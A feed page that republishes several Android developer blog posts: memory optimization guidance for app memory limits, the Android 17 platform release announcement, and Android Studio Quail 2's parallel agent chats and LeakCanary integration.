  • Preserving multitasking and user state: When the system is forced to purge cached apps to accommodate a single leaking process, the multitasking experience is severely degraded. Users returning to prior cached applications encounter sluggish cold starts instead of near-instant warm resumes. This inefficiency generates more CPU strain and accelerates battery depletion. It can also destroy the user’s context in recently used apps, such as scroll positions, navigation stacks, and in-game progress.

To determine if your app session was impacted by these constraints in the field, you can call getDescription() within ApplicationExitInfo. If the system applied a limit, the exit reason is reported as REASON_OTHER and the description string will contain "MemoryLimiter:AnonSwap". You can also leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached. Furthermore, Android is actively working to surface more in-field memory metrics to developers within the Google Play Console.

We have also expanded our memory limits documentation to include local debugging commands, allowing you to simulate memory constraints in your local environment and validate your application's behavior under any memory limit enforcement. 

Maximize bytecode optimization with R8

A highly effective way to reduce your app's memory footprint is to enable the R8 optimizer. By shrinking classes, methods, and fields into shorter names and stripping out unused code and resources, R8 significantly reduces your app's memory footprint by minimizing the amount of resident code required during execution. 

R8 minimizes resident code, shrinking the memory footprint and lowering LMK termination risk. This results in more frequent warm starts over slow cold starts. Additionally, streamlined bytecode reduces main-thread CPU overhead, directly cutting ANR rates for a more fluid user experience. For example, the digital bank Monzo enabled full R8 optimization and saw a 35% reduction in their ANR rate, a 30% improvement in cold start rate, and a 9% reduction in overall app size.

The digital bank Monzo enabled full R8 optimization and boosted performance metrics by up to 35%.

To properly configure R8 in your build.gradle file:

  • Set isShrinkResources = true and isMinifyEnabled = true.
  • Use proguard-android-optimize.txt instead of the legacy proguard-android.txt, which actually prevents optimizations and is no longer supported in Android Gradle Plugin 9.
  • Remove android.enableR8.fullMode = false from your gradle.properties.

If you are using reflection in your code base, then add Keep rules to prevent R8 from optimizing those parts of the code. Make sure to scope the keep rules narrowly to get the maximum optimization.

To get the maximum optimization, make sure to follow these best practices in your keep rule file.

  • Remove global options like -dontoptimize, -dontshrink, and -dontobfuscate that prevent R8 from optimizing the entire codebase 
  • Remove keep rules that prevent optimizing Android components like Activity, Services, Views or Broadcast receivers.
  • Refine the broad package wide keep rules to target only specific classes or methods.

To see more best practices, view our keep rules documentation.

Library Developer R8 Best Practices

If you are a library developer, strictly place the rules your consumers need into your consumer-rules file, and keep your library's internal protection rules in your proguard-rules.pro file. For more information on how to optimize libraries, see Optimization for library authors.

R8 Configuration Analyzer

To audit your R8 optimization, use the Configuration Analyzer. Configuration analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores. With configuration analyzer, you can also understand how many classes, methods or fields are prevented from optimization by each keep rule. Refine these broad package wide keep rules to unlock the maximum optimization.

Using configuration analyzer, you can also identify keep rules that are subsuming other keep rules, redundant keep rules and unused keep rules.

The Configuration Analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores.

R8 Agent Skill 

You can also leverage the R8 Agent Skill with Android Studio agent or other AI tools to resolve misconfigurations and refine your rules resulting in improved app performance. (Insights from AI-driven skills will require technical verification)

Optimize image loading

Bitmaps are usually the largest common objects residing in your app's memory. They represent the final stage of the image loading process where compressed files, like JPEGs or PNGs, are decoded into raw pixel data for display. This means a tiny 100KB compressed image can balloon into several megabytes of RAM because memory consumption is determined by the image's pixel dimensions and color depth. Since bitmap operations are frequently on the critical path to drawing frames, unoptimized images cause severe memory bloat and UI jank.

Google recommends leveraging image loading libraries Coil for Kotlin-first projects, particularly when developing with Jetpack Compose and Glide for Java-based applications.

Adopt these five best practices

  1. Downsample images: If you’re loading bitmaps manually, avoid loading a massive image into a tiny thumbnail view; use inSampleSize to load a smaller version. Glide and Coil downsamples images by default and you can configure this downsample strategy using DownsampleStrategy and ImageLoader respectively.
  2. Cropping: Avoid embedding padding directly into an image file for letterboxing purposes (e.g., creating a transparent border to expand an image dimensions). Rather than baking in these borders, utilize InsetDrawable or apply padding directly within the View or Composable containing the bitmap.
  3. Config: Balance memory and quality by choosing the right pixel format. Use RGB_565 when transparency isn't needed, which uses half the memory of the default ARGB_8888 format. In Glide you can configure this by using DecodeFormat and in Coil you can use bitmapConfig property.
  4. Prioritize vector drawables: For basic geometric assets, leverage ShapeDrawable as a lightweight alternative to decoding rasterized bitmaps. By defining these assets once via XML, you ensure they scale seamlessly across all display densities while effectively eliminating resource-driven memory bloat.
  5. Reuse: If your application manages Bitmaps manually then to minimize memory churn, when a bitmap is no longer required, the app should call bitmap.recycle() and immediately discard the Bitmap reference. If you use an image loading library like Glide or Coil, return the bitmap to the library’s managed pool. By providing an existing buffer for future memory needs, the pool effectively avoids the overhead of new allocations.

Check out our documentation on Optimizing performance for images to learn more.

Android Studio tooling

You can also eliminate redundant bitmaps using Android Studio Narwhal 4. Here is how to hunt them down in five simple steps:

  1. Open the Profiler tab in Android Studio
  2. Click Heap Dump (or "Analyze Memory Usage") and hit record to take a snapshot of your app’s current memory state.
  3. Scan the analysis results for the yellow warning triangle ⚠, which Android Studio uses to flag duplicate bitmaps being stored multiple times. Alternatively, navigate to the profiler header, choose "Filter by:" and pick the "Duplicate Bitmaps" setting.
  4. Click on any flagged entry to open the Bitmap Preview pane, allowing you to see exactly which image is the repeat offender.
  5. Use that visual confirmation to track down the redundant loading logic in your code and implement a better caching strategy.
Look for the yellow warning triangle ⚠ in heap dumps when using the Android Studio Profiler.

Detect and fix memory leaks with Android Studio

Memory leaks in Android occur when your code holds onto an object's reference long after its lifecycle has ended. This prevents the Garbage Collector (GC) from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError (OOM).

Android Studio Panda 3 features a dedicated LeakCanary profiler task, allowing developers to analyze real-time memory leaks and map traces within the IDE.

The LeakCanary profiler task in Android Studio actively moves the memory leak analysis from your device to your development machine, resulting in a significant performance boost during the leak analysis phase as compared to on-device leak analysis.

LeakCanary memory leak analysis contextualized with Go to declaration for debugging

Additionally, the leak analysis is now contextualized within the IDE and fully integrated with your source code, providing features like go to declaration and other helpful code connections that drastically reduce the friction and time required to investigate and fix memory leaks.

Examples of common memory leaks 

Memory leaks occur when an object persists in memory beyond its intended lifespan. This typically happens due to:

  • Retaining references to Fragments, Activities, or Views that are no longer in use.
  • Mismanaging Context references.
  • Failing to properly unregister observers, listeners, and receivers.
  • Creating static references to objects that are bound to components with shorter lifecycles.

Here are a few example scenarios:

Scenario

Compose-based example

View-based example

Leaking Context

Example:
Passing LocalContext.current to a ViewModel

Fix:
Keep Context dependent logic within the UI layer. For non-UI layers, refactor to use dependency injection or observe UI state using Kotlin flow.

Example:
Storing an Activity in a companion object or static variable.

Fix:
Don’t hold static references to UI components. Refactor to use dependency injection or observe UI state using Kotlin flow.

Leaking Listeners

Example:
Using DisposableEffect to start a listener but leaving onDispose empty.

Fix:
Perform the unregistration and cleanup logic inside the onDispose block.

Example:
Registering for SensorManager updates and forgetting to unregister.

Fix:
Manually call unregisterListener() in onStop() or onDestroy() lifecycle.

Leaking Views

Example:
Holding a reference to a legacy View inside an AndroidView without a release strategy.

Fix:
Use the release block of the AndroidView composable to clean up the legacy View.

Example:
Keeping a reference to a view binding object after the Fragment is destroyed.

Fix:
Set the binding variable to null inside the onDestroyView() lifecycle method.

Trim memory when app leaves visible state

Android can reclaim memory from your app or stop your app entirely if necessary to free up memory for critical tasks, as explained in Overview of memory management. Android will usually reclaim memory from your app when it’s not visible to the user, such as by discarding some of your app’s code and data pages in memory or compressing your heap allocations. When the user resumes your app and your app tries to access some memory that’s been reclaimed, the OS will swap that memory back in on demand. This swapping behavior can be slow, and cause unexpected jank or stutters in your app.

If you leave it to the OS to decide what memory to reclaim from your app, you may find that the OS reclaimed memory that you’ll need shortly after resuming your app. Instead, your app can voluntarily discard memory allocations that it can regenerate later, on demand and at a low cost. To do so, you can implement the ComponentCallbacks2 interface. You can implement onTrimMemory in your Activity, Fragment, Service, or even your custom Application class. Using it in the Application class is highly effective for global cache management.

The provided onTrimMemory() callback method notifies your app of lifecycle or memory-related events that present a good opportunity for your app to voluntarily reduce its memory usage.

In terms of memory lifecycle management, your implementation should focus exclusively on TRIM_MEMORY_UI_HIDDEN and TRIM_MEMORY_BACKGROUND. Since Android 14, the system has ceased delivering notifications for other legacy constants, which were formally deprecated in Android 15.

TRIM_MEMORY_UI_HIDDEN: This signal indicates that your application's UI has transitioned out of the user's view. This provides an opportunity to release substantial memory allocations tied strictly to the interface—such as Bitmaps, video playback buffers, or complex animation resources.

TRIM_MEMORY_BACKGROUND: At this level, your process is residing in the background and is now a candidate for termination to satisfy the system's global memory needs. To extend the duration your process remains in the cached state, and reduce the number of app cold starts, you should aggressively release any resources that can be easily reconstructed once the user resumes their session.

import android.content.ComponentCallbacks2
// Other import statements.

class MainActivity : AppCompatActivity(), ComponentCallbacks2 {

    /**
     * Release memory when the UI becomes hidden or when system resources become low.
     * @param level the memory-related event that is raised.
     */
    override fun onTrimMemory(level: Int) {

        if (level >= ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN) {
            // Release memory related to UI elements, such as bitmap caches.
        }

        if (level >= ComponentCallbacks2.TRIM_MEMORY_BACKGROUND) {
            // Release memory related to background processing, such as by
            // closing a database connection.
        }
    }
}

Note: The onTrimMemory integration may depend on SDK support. For instance, certain games rely on their game engine to enable this capability. Please check out the game memory optimization documents.

Advanced memory observability with ProfilingManager

To catch and diagnose memory issues in the field that cannot be reproduced locally, you should leverage the ProfilingManager API. Introduced in Android 15, this advanced observability API allows you to programmatically collect real-user Perfetto profiles.

For teams that lack a dedicated infrastructure to manage and host performance artifacts, Crashlytics is exploring a specialized solution to streamline this workflow. They are inviting developers to provide feedback.

Android 17 introduces new event-driven triggers, most notably TRIGGER_TYPE_OOM and TRIGGER_TYPE_ANOMALY:

  • The OOM trigger automatically collects a Java heap dump at the exact moment an OutOfMemoryError crash occurs, providing precise allocation states. A collected OOM profile is provided the next time the app starts and registers the registerForAllProfilingResults callback.
  • The Anomaly trigger detects severe performance issues, such as excessive binder spam or breached memory thresholds. The memory anomaly delivers a heap dump just prior to the system terminating the app.
  val profilingManager = 
applicationContext.getSystemService(ProfilingManager::class.java)
    val triggers = ArrayList()  


    triggers.add(ProfilingTrigger.Builder(
                 ProfilingTrigger.TRIGGER_TYPE_ANOMALY))
    val mainExecutor: Executor = Executors.newSingleThreadExecutor()
    val resultCallback = Consumer { profilingResult ->
        if (profilingResult.errorCode != ProfilingResult.ERROR_NONE) {
            // upload profile result to server for further analysis          
            setupProfileUploadWorker(profilingResult.resultFilePath)
        } 

    profilingManager.registerForAllProfilingResults(mainExecutor, resultCallback)
    profilingManager.addProfilingTriggers(triggers)

Once you’ve collected the heap dump, you can download the profile from the server, or locally via adb pull and drag and drop the file into the Perfetto UI. To streamline your memory debugging workflow, use the Heap Dump Explorer, this is the new default view for heap dumps in Perfetto UI. This tool provides an intuitive interface for inspecting Java heap dumps, allowing you to visualize object allocation hierarchies, compute retained memory sizes, and identify the shortest path from garbage collection root. By leveraging the Heap Dump Explorer, you can rapidly pinpoint memory leaks, bloated retained objects such as excessive bitmap allocations, and analyze heap object allocations all in one place.

Use the Heap Dump Explorer’s embedded flamegraph to visually inspect and navigate through objects with the highest heap allocations.

Conclusion

Optimizing bytecode with R8, adopting image loading best practices, and resolving memory leaks are critical steps toward delivering a high-quality user experience while managing resources effectively under pressure. Adopting these proactive measures helps maintain app stability and performance, preventing unexpected terminations while safeguarding user context. To further your performance expertise, explore our revised memory guidance.

]]> <![CDATA[Android 17 is here]]> https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/ https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/ Sat, 25 Jul 2026 10:15:36 +0200 đŸ€– Android Tipps tsecurity.de
Posted by Matthew McCullough, VP of Product Management, Android Developer


Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.

Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the Android Open Source Project (AOSP). This allows you to examine the source code for a deeper understanding of how Android works.

Let's dive deeper into Android 17.

An intelligence system

With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the Model Context Protocol. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.

The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.

/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}

We’ve also launched an AppFunctions agent skill that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.

The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a test agent app that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at goo.gle/eap-af for a chance to be among the first apps to deploy AppFunctions to production.

Adaptive-first

Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over 580 million large screen devices in the hands of users and the forthcoming launch of Googlebooks, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an adaptive-first development standard.

No resizability/orientation restrictions on large screens

To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on large screen devices (sw > 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on app category in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.

Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP

Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:

  • App Bubbles: Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.
  • The Bubble Bar: On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.
  • Desktop interactive PiP: In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.

App Bubbles and Bubble Bar in action

Activity recreation updates

To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including CONFIG_KEYBOARD, CONFIG_KEYBOARD_HIDDEN, CONFIG_NAVIGATION, CONFIG_TOUCHSCREEN, and CONFIG_COLOR_MODE).
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new android:recreateOnConfigChanges manifest attribute.

Continue On

Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.

Handoff Suggestion on a Tablet


class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}

Go adaptive-first with Jetpack Compose

To help you adapt your apps to meet the new Android 17 requirements, we've launched the Jetpack Compose adaptive skill. This AI-powered developer workflow helps you implement the best adaptive practices:

  • Adaptive navigation: Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.
  • Multi-pane layouts: Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.
  • FlexBox & Grid APIs: Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.
  • Advanced non-touch input: Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.
  • Dynamic window states: Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.

Android is Compose-first

Compose offers the easiest way to build adaptive apps, and that's just one of the many reasons we believe that all Android UI should be built with Compose. To that end, Android development is now Compose-first. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.

TIP
Ready to migrate? Use our AI-driven XML to Compose Migration Skill to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.

Performance & efficiency

App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.

App memory limits

Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking. 

Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:

  • R8 Optimizer: The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new R8 configuration analyzer to make sure your app is getting the most from R8.




The R8 Configuration Analyzer
  • LeakCanary in Android Studio Panda: The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.
  • ApplicationExitInfo: If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".
  • On-Device Anomaly Detection: Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.
val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList<ProfilingTrigger>().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)

And, we're working to surface more in-field memory metrics to you within Google Play Console.

Generational garbage collection

Android 17 introduces more frequent, less resource-intensive young-generation collections to ART's Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.

Lock-Free MessageQueue

For apps targeting SDK 37 or higher, the core android.os.MessageQueue now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private MessageQueue fields and methods.  The peekWhen and poll APIs have been added to TestLooperManager for instrumentation testing without relying on MessageQueue internals.

Static final fields now truly final

Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s SetStatic<Type>Field methods family will immediately crash the application.

Custom notification view restrictions

To reduce memory usage we are further restricting the size of custom notification views. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.

Privacy & Security

Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.

Privacy-preserving choices

Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:

  • System-Level Contact Picker: Utilizing ACTION_PICK_CONTACTS, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad READ_CONTACTS permission. It also fully supports work/personal profile separation.
  • Customizable Photo Picker aspect ratio: UsingPhotoPickerUiCustomizationParams, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.
  • System-rendered Location Button: A new system-rendered location button that you can embed in your app grants precise location access for the current session only.
  • EyeDropper API: A new system-level API, ACTION_OPEN_EYE_DROPPER, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.
val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result ->
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}










Picking a color from anywhere on the screen with the system EyeDropper

Local network access

Apps targeting Android 17 now either require the ACCESS_LOCAL_NETWORK runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because ACCESS_LOCAL_NETWORK falls under the existing NEARBY_DEVICES permission group, users who have already granted other NEARBY_DEVICES permissions will not be prompted again.

SMS OTP protection

Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:

Post-Quantum Cryptography (PQC)

Android 17 is ready for the next generation of cryptographic security:

  • Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.
  • Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.

Safer native dynamic code loading 

If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection introduced in Android 14 for DEX and JAR files now extends to native libraries. All native files loaded using System.load must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError

Smarter password protection for physical inputs

With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.

Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).

These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields.


















Smarter password protection for physical inputs

Media and camera features that empower creators and delight users

Android 17 introduces new creator features that give access to pro-quality cameras and media, all while improving the experience for consumers.

  • Eclipsa Video: HDR video standard built upon the SMPTE ST 2094-50 specification that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.
  • RAW14 image format: New support for the RAW14 image format provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.
  • Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.
  • Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.
  • Versatile Video Coding (H.266): Enables OEMs to add codec support by defining the video/vvc MIME type in MediaFormat, adding new VVC profiles in MediaCodecInfo, and integrating support into MediaExtractor.
  • Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.
  • Constant Quality for Video Recording: SetVideoEncodingQuality in MediaRecorder configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.

Better support for hearing aids

  • Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new AudioDeviceInfo.TYPE_BLE_HEARING_AID constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.
  • Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.

CameraX and Media3

CameraX and Media3 have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture, smooth media playback, and creative and complex editing experiences.

We've released an agent skill that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.

Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.

Get your apps, libraries, tools, and game engines ready!

If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.

Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps running on and targeting Android 17 to focus your testing, including the following:

Get started with Android 17

Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can use the 64-bit system images with the Android Emulator in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.

Getting the Android 17 beta on partner devices

Android 17 is available in beta on handset, tablet, and foldable form factors from partners including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.



For the best development experience with Android 17, we recommend that you use the latest Canary build of Android Studio Quail. Once you’re set up, here are some of the things you should do:

Test your current app for compatibility, learn whether your app is affected by changes in Android 17, and install your app onto a device or Android Emulator running Android 17 and extensively test it.

Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.

For complete information on Android 17 please visit the Android 17 developer site.



]]> <![CDATA[Android Studio Quail 2 is Stable: Multi-task with the Android Studio AI agent]]> https://tsecurity.de/de/3693500/android-tipps/android-studio-quail-2-is-stable-multi-task-with-the-android-studio-ai-agent/ https://tsecurity.de/de/3693500/android-tipps/android-studio-quail-2-is-stable-multi-task-with-the-android-studio-ai-agent/ Sat, 25 Jul 2026 10:15:29 +0200 đŸ€– Android Tipps tsecurity.de

Posted by Amman Asfaw, Product Manager, Android Studio





Android Studio Quail 2 is now stable and ready for you to use in production, bringing a shift to your IDE with concurrent agentic workflows, natively integrated memory leak profiling, and context-aware crash remediation. Whether you are performing a sweeping architectural overhaul, tracing a memory leak, or resolving a critical production crash, Android Studio keeps you anchored in your workspace by reducing manual friction.

Here’s a deep dive into what’s new:

Multi-tasking with parallel chats

In Android Studio Quail 2, we've been hard at work redesigning Agent Mode from the ground up. This new architecture provides better performance, offers more flexibility for decomposing complex tasks, and improves the suite of internal tools the agent uses to do its work.

In addition to these behind-the-scenes improvements, these changes also allow you to converse across multiple agent chats simultaneously. Waiting for the Android Studio agent to finish a task before you can ask another question or initiate a separate task in Agent Mode is a bottleneck of the past. You can multi-task seamlessly: kick off a UI refactor in one tab, fix a ProGuard rule in a second, and generate documentation in a third.

You can also change which models the agent uses from chat to chat based on the requests you have. Take a look at Android Bench for an analysis of how LLMs perform Android development tasks.

  • How to use: Click the "+" icon to start a new parallel conversation, and use the History icon to navigate between active tasks. Alternatively, select File > New > New Agent Tab to open a conversation in a dedicated tab.
  • Note: Worktree support is currently unavailable. Exercise caution when running concurrent chats that modify the same project files, which can potentially lead to editor conflicts.

Run multiple agent tasks in parallel with different models of your choice.

Use the History icon to navigate between active tasks.

Memory leak detection with LeakCanary

Memory leaks in Android occur when your code holds onto an object's reference long after its life cycle has ended. This prevents the Garbage Collector from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError.

Hunting down memory leaks can be a tedious, manual task. Starting with Android Studio Quail 2, the popular open-source leak detector LeakCanary is natively integrated directly into the Profiler as a dedicated, first-class task.

This integration transforms your debugging performance by lifting and shifting the heap analysis off your resource-constrained testing phone, and onto your powerful development computer. By running the analysis on your computer, leak tracing is up to five times faster and jank-free, leaving your test app running smoothly on the device.

Once a leak is detected during a profiling session:

  • The Profiler renders an interactive, color-coded leak trace, grouping occurrences and estimating lost memory.
  • You can click Go to declaration on any leaking object in the trace to instantly jump to that exact line of code in your editor.
  • You can click Fix with Agent to have the Gemini agent ingest the trace, explain the root cause of the retained reference, and write the exact code change (such as unbinding a listener or clearing a static reference) to plug the leak.
Review memory leaks identified via LeakCanary through the Fix with Agent button.

App Quality Insights agent integration

Tracking down the root cause of an app crash can require manually synthesizing stack traces, device data, and source code. However Android Studio’s App Quality Insights (AQI) is now fully integrated with Agent Mode to do the heavy lifting for you.

When you click on a crash in the AQI panel, you immediately get a concise, high-level summary of the issue. If you need to dig deeper, simply click See more. This opens a dedicated chat where the agent uses your selected model and pulls in local source code and the full stack trace to deliver a comprehensive explanation of the failure.

